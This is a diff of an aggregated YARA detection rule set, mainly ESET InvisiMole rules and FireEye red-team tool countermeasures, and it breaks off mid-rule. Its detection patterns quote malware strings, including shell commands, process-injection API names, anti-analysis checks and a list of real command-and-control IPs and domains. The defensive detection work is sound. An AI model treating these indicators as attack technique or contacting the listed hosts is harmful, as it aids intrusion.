"https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "e5628d6ffb2d3684264b3a88c4d7b5d2ce8983aa22badf5839ccb8ba2e3ef2d4" + logic_hash = "6ca248d42c1e889988e5931d80df071cb20e623fb0c4a208044cabe073f71ce4" score = 75 quality = 80 - tags = "" - Author = "Marc-Etienne M.Léveillé" - Description = "Stantinko ghstore component" - Contact = "github@eset.com" - License = "BSD 2-Clause" + tags = "FILE" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "G%cost%sSt%c%s%s%ce%sr" wide - $s2 = "%cho%ct%sS%sa%c%s%crve%c" wide - $s3 = "Par%c%ce%c%c%s" wide - $s4 = "S%c%curity%c%s%c%s" wide - $s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide + $encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B} condition: - 3 of them + uint16( 0 ) == 0x5A4D and $encrypted_config } -rule ESET_Moose_1 +rule ESET_Apt_Windows_Invisimole_CPL_Loader : FILE { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "4d228de6-ddbf-57c0-a330-5840c4d40dfc" - date = "2015-04-21" - modified = "2016-11-01" + description = "CPL loader" + author = "ESET Research" + id = "feff8627-6085-5835-ac1b-d4522245f7db" + date = "2021-05-17" + modified = "2021-05-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/moose/linux-moose.yar#L41-L76" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L97-L118" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "8bedac80a1f754ce56294ba9786b62a002aacd074f756724401efc61def127e6" + logic_hash = "cd5c19e14faa7fd3758b30193ccf2bed3692ad29d8216466523ca25d2abcfe88" score = 75 - quality = 30 - tags = "" - Author = "Thomas Dupuy" - Description = "Linux/Moose malware" - Contact = "github@eset.com" - License = "BSD 2-Clause" + quality = 80 + tags = "FILE" + license = "BSD 2-Clause" + version = "1" strings: - $s0 = "Status: OK" - $s1 = "--scrypt" - $s2 = "stratum+tcp://" - $s3 = "cmd.so" - $s4 = "/Challenge" - $s7 = "processor" - $s9 = "cpu model" - $s21 = "password is wrong" - $s22 = "password:" - $s23 = "uthentication failed" - $s24 = "sh" - $s25 = "ps" - $s26 = "echo -n -e " - $s27 = "chmod" - $s28 = "elan2" - $s29 = "elan3" - $s30 = "chmod: not found" - $s31 = "cat /proc/cpuinfo" - $s32 = "/proc/%s/cmdline" - $s33 = "kill %s" + $s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);" + $s2 = "\\Control.js" wide + $s3 = "\\Control Panel.lnk" wide + $s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64" + $s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32" + $s6 = "imageapplet.dat" wide + $s7 = "wkssvmtx" + + condition: + uint16( 0 ) == 0x5A4D and ( 3 of them ) +} + +rule ESET_Apt_Windows_Invisimole_Wrapper_DLL +{ + meta: + description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names" + author = "ESET Research" + id = "b9609b09-3ef5-5793-a3aa-4692cec367d9" + date = "2021-05-17" + modified = "2021-05-17" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L120-L138" + license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" + logic_hash = "156bc5bc7b0ed5c77a5a15e7799a3077d40150896476a60935cf21a9afe36856" + score = 75 + quality = 80 + tags = "" + license = "BSD 2-Clause" + version = "1" condition: - ESET_Is_Elf_PRIVATE and all of them + pe.exports( "GetDataLength" ) and for any y in ( 0 .. pe.number_of_resources - 1 ) : ( pe.resources [ y ] . type == pe.RESOURCE_TYPE_RCDATA and pe.resources [ y ] . name_string == "R\x00C\x002\x00C\x00L\x00" ) and for any y in ( 0 .. pe.number_of_resources - 1 ) : ( pe.resources [ y ] . type == pe.RESOURCE_TYPE_RCDATA and pe.resources [ y ] . name_string == "R\x00C\x002\x00F\x00M\x00" ) } -rule ESET_Moose_2 +rule ESET_Apt_Windows_Invisimole_DNS_Downloader : FILE { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "74372984-dace-5665-a5d0-39b8d1002fa1" - date = "2016-10-02" - modified = "2016-11-01" - reference = "http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/moose/linux-moose.yar#L78-L110" + description = "InvisiMole DNS downloader" + author = "ESET Research" + id = "1caa6c8b-3798-556e-835e-885b7f3f4511" + date = "2021-05-17" + modified = "2021-05-17" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L140-L170" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3f50d2d81d4c27e44d93804adcf93971017767ed0e020447cdb343931c2fbc43" + logic_hash = "88d6ed7ec1331153d19afc18473a4be2b214ad8af29fcf7051a2a8e40e088231" score = 75 quality = 80 - tags = "" - Author = "Thomas Dupuy" - Description = "Linux/Moose malware active since September 2015" - Contact = "github@eset.com" - License = "BSD 2-Clause" + tags = "FILE" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "Modules are loaded" - $s2 = "--scrypt" - $s3 = "http://" - $s4 = "https://" - $s5 = "processor " - $s6 = "cpu model " - $s7 = "Host: www.challpok.cn" - $s8 = "Cookie: PHPSESSID=%s; nhash=%s; chash=%s" - $s9 = "fail!" - $s10 = "H3lL0WoRlD" - $s11 = "crondd" - $s12 = "cat /proc/cpuinfo" - $s13 = "Set-Cookie: PHPSESSID=" - $s14 = "Set-Cookie: LP=" - $s15 = "Set-Cookie: WL=" - $s16 = "Set-Cookie: CP=" - $s17 = "Loading modules..." - $s18 = "-nobg" + $d = "DnsQuery_A" + $s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor + $s2 = "AddIns\\" ascii wide xor + $s3 = "pcornomeex." xor + $s4 = "weriahsek.rxe" xor + $s5 = "dpmupaceex." xor + $s6 = "TCPViewClass" xor + $s7 = "PROCMON_WINDOW_CLASS" xor + $s8 = "Key%C" + $s9 = "AutoEx%C" xor + $s10 = "MSO~" + $s11 = "MDE~" + $s12 = "DNS PLUGIN, Step %d" xor + $s13 = "rundll32.exe \"%s\",StartUI" condition: - ESET_Is_Elf_PRIVATE and 5 of them + (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and $d and 5 of ( $s* ) } -rule ESET_Mozi_Killswitch : FILE +rule ESET_Apt_Windows_Invisimole_RC2CL_Backdoor : FILE { meta: - description = "Mozi botnet kill switch" - author = "Ivan Besina" - id = "e3d34ae0-de06-5ff4-b44b-44d264b6dd29" - date = "2023-09-29" - modified = "2023-10-31" + description = "InvisiMole RC2CL backdoor" + author = "ESET Research" + id = "0228b8ee-bf03-504e-8cdf-8a1c9a79d54e" + date = "2021-05-17" + modified = "2021-05-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/mozi/mozi.yar#L32-L51" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L172-L213" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "90eaed2f7f5595b145b2678a46ef6179082192215369fa9235024b0ce1574a49" + logic_hash = "c38550023515d33eaaf0669cc8b874bcfd09653a07c7edbf72e3344d1cf31541" score = 75 - quality = 80 + quality = 78 tags = "FILE" license = "BSD 2-Clause" version = "1" strings: - $iptables1 = "iptables -I INPUT -p tcp --destination-port 7547 -j DROP" - $iptables2 = "iptables -I OUTPUT -p tcp --sport 30005 -j DROP" - $haha = "/haha" - $networks = "/usr/networks" + $s1 = "RC2CL" wide + $s2 = "hp12KsNh92Dwd" wide + $s3 = "ZLib package %s: files: %d, total size: %d" wide + $s4 = "\\Un4seen" wide + $s5 = {9E 01 3A AD} + $s6 = "~mrc_" wide + $s7 = "~src_" wide + $s8 = "~wbc_" wide + $s9 = "zdf_" wide + $s10 = "~S0PM" wide + $s11 = "~A0FM" wide + $s12 = "~70Z63\\" wide + $s13 = "~E070C" wide + $s14 = "~N031E" wide + $s15 = "%szdf_%s.data" wide + $s16 = "%spicture.crd" wide + $s17 = "%s70zf_%s.cab" wide + $s18 = "%spreview.crd" wide + $s19 = "Value_Bck" wide + $s20 = "Value_WSFX_ZC" wide + $s21 = "MachineAccessStateData" wide + $s22 = "SettingsSR2" wide condition: - all of them and filesize < 500KB + (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and 5 of ( $s* ) } -rule ESET_Potao +rule ESET_Apt_Windows_Invisimole : FILE { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "9c755cb8-9e3f-5118-a8e0-4ded9a075cbd" - date = "2015-07-29" - modified = "2015-07-30" + description = "InvisiMole magic values, keys and strings" + author = "ESET Research" + id = "4d48996b-9792-57ba-a302-349220323712" + date = "2021-05-17" + modified = "2021-05-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/potao/PotaoNew.yara#L96-L108" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L215-L255" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "c68addb14f7c22cec0c4d58bfffd373b2e3eb5c53a5b65532c84574e073fcbba" + logic_hash = "7a2cff9febe77d718089ba4e1a33f3487594588892e418cec685bf22b156fa2b" score = 75 quality = 80 - tags = "" - Author = "Anton Cherepanov" - Description = "Operation Potao" - Contact = "threatintel@eset.com" - License = "BSD 2-Clause" + tags = "FILE" + license = "BSD 2-Clause" + version = "1" + + strings: + $s1 = "CryptProtectData" + $s2 = "CryptUnprotectData" + $s3 = {9E 01 3A AD} + $s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1" + $s5 = "PULSAR_LOADER.dll" + $check_magic_old_32 = {3? F9 FF D0 DE} + $check_magic_old_64 = {3? 64 FF D0 DE} + $check_magic_new_32 = {81 3? 86 DA 11 CE} + $check_magic_new_64 = {81 3? 64 DA 11 CE} condition: - ESET_Potaodecoy_PRIVATE or ESET_Potaodll_PRIVATE or ESET_Potaousb_PRIVATE or ESET_Potaosecondstage_PRIVATE + (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and ( any of ( $check_magic* ) ) and ( 2 of ( $s* ) ) } - -rule ESET_Richheaders_Lazarus_Nukesped_Iconicpayloads_3CX_Q12023 +rule ESET_Apt_Windows_Invisimole_C2 : FILE { meta: - description = "Rich Headers-based rule covering the IconicLoader and IconicStealer from the 3CX supply chain incident, and also payloads from the cryptocurrency campaigns from 2022-12" + description = "InvisiMole C&C servers" author = "ESET Research" - id = "5c815d14-8a3e-5c6a-9dc3-988e0f31c094" - date = "2023-03-31" - modified = "2023-04-19" - reference = "https://github.com/eset/malware-ioc" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/nukesped_lazarus/rich_headers_IconicPayloads_3CX.yar#L6-L23" + id = "9279c8cd-2c16-5f90-a7f5-e668d57c805b" + date = "2021-05-17" + modified = "2021-05-17" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L257-L297" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "3b88cda62cdd918b62ef5aa8c5a73a46f176d18b" - hash = "cad1120d91b812acafef7175f949dd1b09c6c21a" - hash = "5b03294b72c0caa5fb20e7817002c600645eb475" - hash = "7491bd61ed15298ce5ee5ffd01c8c82a2cdb40ec" - logic_hash = "f11a1db798bfcc534982bdf6afaae154b095b6a1e0896e75e2791c01e51a1c16" + logic_hash = "aff8456ce7a9ebe875c02e51c09b77ee7b1fddfc11d4ad236e12c8c5240a01a8" score = 75 - quality = 80 - tags = "" + quality = 78 + tags = "FILE" + license = "BSD 2-Clause" + version = "1" + + strings: + $s1 = "46.165.220.228" ascii wide + $s2 = "80.255.3.66" ascii wide + $s3 = "85.17.26.174" ascii wide + $s4 = "185.193.38.55" ascii wide + $s5 = "194.187.249.157" ascii wide + $s6 = "195.154.255.211" ascii wide + $s7 = "153.re" ascii wide fullword + $s8 = "adstat.red" ascii wide + $s9 = "adtrax.net" ascii wide + $s10 = "akamai.sytes.net" ascii wide + $s11 = "amz-eu401.com" ascii wide + $s12 = "blabla234342.sytes.net" ascii wide + $s13 = "mx1.be" ascii wide fullword + $s14 = "statad.de" ascii wide + $s15 = "time.servehttp.com" ascii wide + $s16 = "upd.re" ascii wide fullword + $s17 = "update.xn--6frz82g" ascii wide + $s18 = "updatecloud.sytes.net" ascii wide + $s19 = "updchecking.sytes.net" ascii wide + $s20 = "wlsts.net" ascii wide + $s21 = "ro2.host" ascii wide fullword + $s22 = "2ld.xyz" ascii wide fullword + $s23 = "the-haba.com" ascii wide + $s24 = "82.202.172.134" ascii wide + $s25 = "update.xn--6frz82g" ascii wide condition: - pe.rich_signature.toolid( 259 , 30818 ) == 9 and pe.rich_signature.toolid ( 256 , 31329 ) == 1 and pe.rich_signature.toolid ( 261 , 30818 ) >= 30 and pe.rich_signature.toolid ( 261 , 30818 ) <= 38 and pe.rich_signature.toolid ( 261 , 29395 ) >= 134 and pe.rich_signature.toolid ( 261 , 29395 ) <= 164 and pe.rich_signature.toolid ( 257 , 29395 ) >= 6 and pe.rich_signature.toolid ( 257 , 29395 ) <= 14 + (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and $s21 and any of them } /* * YARA Rule Set * Repository Name: FireEye-RT * Repository: https://github.com/mandiant/red_team_tool_countermeasures/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 3561b71724dbfa3e2bb78106aaa2d7f8b892c43b * Number of Rules: 166 * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance) @@ -74084,4169 +74031,4003 @@ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ -rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_2 : FILE -{ - meta: - description = "No description has been set in the source file - FireEye-RT" - author = "FireEye" - id = "3befb3f2-81d1-5db2-84d9-773158b9837c" - date = "2020-12-03" - date = "2020-12-03" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_2.yar#L4-L22" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e91670423930cbbd3dbf5eac1f1a7cb6" - logic_hash = "0467532d643cf0200c6561b0724c884230892bf59db163c311b7d4f8acbb63d6" - score = 75 - quality = 75 - tags = "FILE" - rev = 1 - - strings: - $ss1 = "\x00NtMapViewOfSection\x00" - $ss2 = "\x00NtOpenProcess\x00" - $ss3 = "\x00NtAlertResumeThread\x00" - $ss4 = "\x00LdrGetProcedureAddress\x00" - $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00" - $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00" - $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00" - - condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them -} -rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_JUSTASK_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project." author = "FireEye" - id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d" - date = "2020-12-03" - date = "2020-12-03" + id = "06a03d82-db69-5b5a-a578-a8053814e917" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_1.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/JUSTASK/production/yara/APT_HackTool_MSIL_JUSTASK_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e91670423930cbbd3dbf5eac1f1a7cb6" - logic_hash = "f2244c6761639c1162a77a5e82296903c3cc21fbf46d262c779c5e4d6a2ef937" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "24d2f8e3838c4f02cd80644a396ce7cf105761d2feba54e39973564ca5e97571" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 1 + rev = 2 strings: - $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 } - $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 } - $ss1 = "\x00NtMapViewOfSection\x00" - $ss2 = "\x00NtOpenProcess\x00" - $ss3 = "\x00NtAlertResumeThread\x00" - $ss4 = "\x00LdrGetProcedureAddress\x00" - $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00" + $typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Wmispy_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project." author = "FireEye" - id = "1a3f4247-25f4-51ca-b881-209c0753b915" - date = "2020-12-03" - date = "2020-12-03" + id = "ac394751-da40-564b-8e24-8f353326b46a" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_1.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/HackTool_MSIL_WMIspy_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e91670423930cbbd3dbf5eac1f1a7cb6" - logic_hash = "f020efff58c8b7761d700c662c422a9e1ffdf8fe5f6648e421b7c257e3b8d078" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "a5a9f7c7a7bfe474e8b21306ea220b4d476832f3ad4fafdd8967a2250d15a701" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 } - $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 } - $ss1 = "\x00NtMapViewOfSection\x00" - $ss2 = "\x00NtOpenProcess\x00" - $ss3 = "\x00NtAlertResumeThread\x00" - $ss4 = "\x00LdrGetProcedureAddress\x00" - $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00" + $typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( @sb1 [ 1 ] < @sb2 [ 1 ] ) and ( all of ( $ss* ) ) and ( all of ( $tb* ) ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Loader_MSIL_Trimbishop_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_WMISPY_2 : FILE { meta: - description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop." + description = "wql searches" author = "FireEye" - id = "4d58f0a2-bf16-584c-8e92-c8ef54427767" + id = "474af878-a657-54bc-a063-04532df928d4" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_TrimBishop_1.yar#L4-L26" - license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "09bdbad8358b04994e2c04bb26a160ef" - logic_hash = "018e87542301db22c384fda2709e8d49711c0fa041d1ef591f98ee7a70dbb677" - score = 75 - quality = 50 - tags = "FILE" - rev = 3 - - strings: - $msg = "msg" ascii wide - $msil = "_CorExeMain" ascii wide - $str1 = "RuralBishop" ascii wide - $str2 = "KnightKingside" ascii wide - $str3 = "ReadShellcode" ascii wide - $str4 = "ReverseString" ascii wide - $str5 = "DTrim" ascii wide - $str6 = "QueensGambit" ascii wide - $str7 = "Messages" ascii wide - $str8 = "NtQueueApcThread" ascii wide - $str9 = "NtAlertResumeThread" ascii wide - $str10 = "NtQueryInformationThread" ascii wide - - condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and #msg > 60 and all of ( $str* ) -} -rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_2 : FILE -{ - meta: - description = "No description has been set in the source file - FireEye-RT" - author = "FireEye" - id = "90ee2569-2e68-517b-b2d7-8c4015d92683" - date = "2020-12-03" - date = "2020-12-03" - modified = "2020-12-09" - reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_2.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/APT_HackTool_MSIL_WMISPY_2.yar#L4-L24" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "c0598321d4ad4cf1219cc4f84bad4094" - logic_hash = "4cccfca0c06954105f762066741b6c35599a6c28df8b7c255a2659059169578f" + hash = "3651f252d53d2f46040652788499d65a" + logic_hash = "553fc1e536482a56b3228a5c9ebac843af9083e8ac864bf65c81b36a39ca5e5e" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 4 strings: - $ss1 = "\x00NtMapViewOfSection\x00" - $ss2 = "\x00NtOpenProcess\x00" - $ss3 = "\x00NtAlertResumeThread\x00" - $ss4 = "\x00LdrGetProcedureAddress\x00" - $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00" - $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00" - $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00" + $MSIL = "_CorExeMain" + $str1 = "root\\cimv2" wide + $str2 = "root\\standardcimv2" wide + $str3 = "from MSFT_NetNeighbor" wide + $str4 = "from Win32_NetworkLoginProfile" wide + $str5 = "from Win32_IP4RouteTable" wide + $str6 = "from Win32_DCOMApplication" wide + $str7 = "from Win32_SystemDriver" wide + $str8 = "from Win32_Share" wide + $str9 = "from Win32_Process" wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and $MSIL and all of ( $str* ) } -rule FIREEYE_RT_Loader_MSIL_Ruralbishop_3 : FILE +rule FIREEYE_RT_Hacktool_MSIL_PXELOOT_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project." author = "FireEye" - id = "55a060ef-74e2-50d9-9090-558aaa04d97d" - date = "2020-12-09" + id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_RuralBishop_3.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PXELOOT/production/yara/HackTool_MSIL_PXELOOT_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "09bdbad8358b04994e2c04bb26a160ef" - logic_hash = "a4c55dede432c249e36e96ca09555448b0343969d389bfdb4bd459fe34e05ea1" + hash = 